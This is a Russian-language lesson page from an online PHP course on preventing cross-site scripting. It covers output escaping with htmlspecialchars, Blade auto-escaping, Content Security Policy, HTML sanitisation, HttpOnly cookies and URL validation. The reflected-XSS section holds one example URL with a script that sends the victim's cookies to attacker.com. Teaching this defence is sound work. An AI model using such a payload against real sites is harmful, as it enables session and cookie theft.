0Pricing
PHP Academy · Урок

Защита от межсайтового скриптинга (XSS)

Экранируйте вывод с помощью htmlspecialchars и внедряйте политику безопасности содержимого

«Защита от межсайтового скриптинга (XSS)» — бесплатный урок PHP Academy на CoddyKit. Это урок 1 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения PHP Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс PHP Academy содержит 4 уроков всего.

Что такое XSS?

Межсайтовый скриптинг (XSS) возникает, когда злоумышленник внедряет вредоносный JavaScript в веб-страницы, которые просматривают другие пользователи. Скрипт выполняется в браузере жертвы и получает доступ к её сессии, файлам cookie и DOM.

Отражённый XSS

Вредоносная полезная нагрузка находится в URL или параметре формы, а сервер отражает её в ответе.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

Сохранённый XSS

Полезная нагрузка сохраняется в базе данных (в комментарии или поле профиля) и отображается всем посетителям, которые просматривают эту страницу.

XSS на основе DOM

Уязвимость полностью находится в клиентском JavaScript, который небезопасно вставляет непроверенные данные в DOM с помощью innerHTML или document.write.

htmlspecialchars()

Экранируйте вывод, преобразуя специальные символы HTML в безопасные сущности. Всегда экранируйте данные, предоставленные пользователем, перед их отображением.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Автоматическое экранирование в Blade

Синтаксис {{ }} в Laravel Blade автоматически вызывает htmlspecialchars. Используйте {!! !!} только для проверенного и очищенного HTML.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Политика безопасности содержимого (CSP)

Заголовок CSP HTTP указывает браузерам выполнять скрипты только из доверенных источников, блокируя внедрённые встроенные скрипты, даже если они попали на страницу.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

Очистка входных данных HTML

Если необходимо разрешить ввод форматированного HTML (например, из редактора WYSIWYG), очищайте его с помощью библиотеки с белым списком, такой как HTML Purifier, или пакета Laravel mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

Заголовок X-XSS-Protection

Добавляйте заголовок X-XSS-Protection: 1; mode=block для поддержки устаревших браузеров. Современные браузеры вместо этого полагаются на CSP.

Файлы cookie только для HTTP

Установка флага HttpOnly для сессионных файлов cookie не позволяет JavaScript читать их, снижая риск кражи сессии через XSS, даже если скрипт был внедрён.

Проверка URL

Никогда не вставляйте предоставленные пользователем URL в href или src без проверки. URI javascript: может выполнить XSS.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Итоги

Всегда экранируйте вывод с помощью htmlspecialchars (или {{ }} в Blade). Добавляйте политику безопасности содержимого. Очищайте входные данные HTML с помощью библиотеки с белым списком. Используйте файлы cookie с флагом HttpOnly.

Быстрая проверка

Какая функция PHP преобразует специальные символы HTML в сущности?

Часто задаваемые вопросы

Урок «Защита от межсайтового скриптинга (XSS)» бесплатный?

Да — полный текст урока «Защита от межсайтового скриптинга (XSS)» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс PHP Academy, подпишись на CoddyKit PRO. Курс PHP Academy содержит 4 уроков всего.

Чему я научусь в уроке «Защита от межсайтового скриптинга (XSS)»?

Экранируйте вывод с помощью htmlspecialchars и внедряйте политику безопасности содержимого Ты практикуешь PHP Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать PHP Academy?

Предыдущий опыт не требуется. PHP Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 1 из 4.

Сколько времени занимает урок «Защита от межсайтового скриптинга (XSS)»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке PHP Academy?

Да. Каждый урок PHP Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. Защита от межсайтового скриптинга (XSS)
  2. SQL-инъекции и параметризованные запросы
  3. Защита от CSRF
  4. Безопасное хранение паролей
← Назад к PHP Academy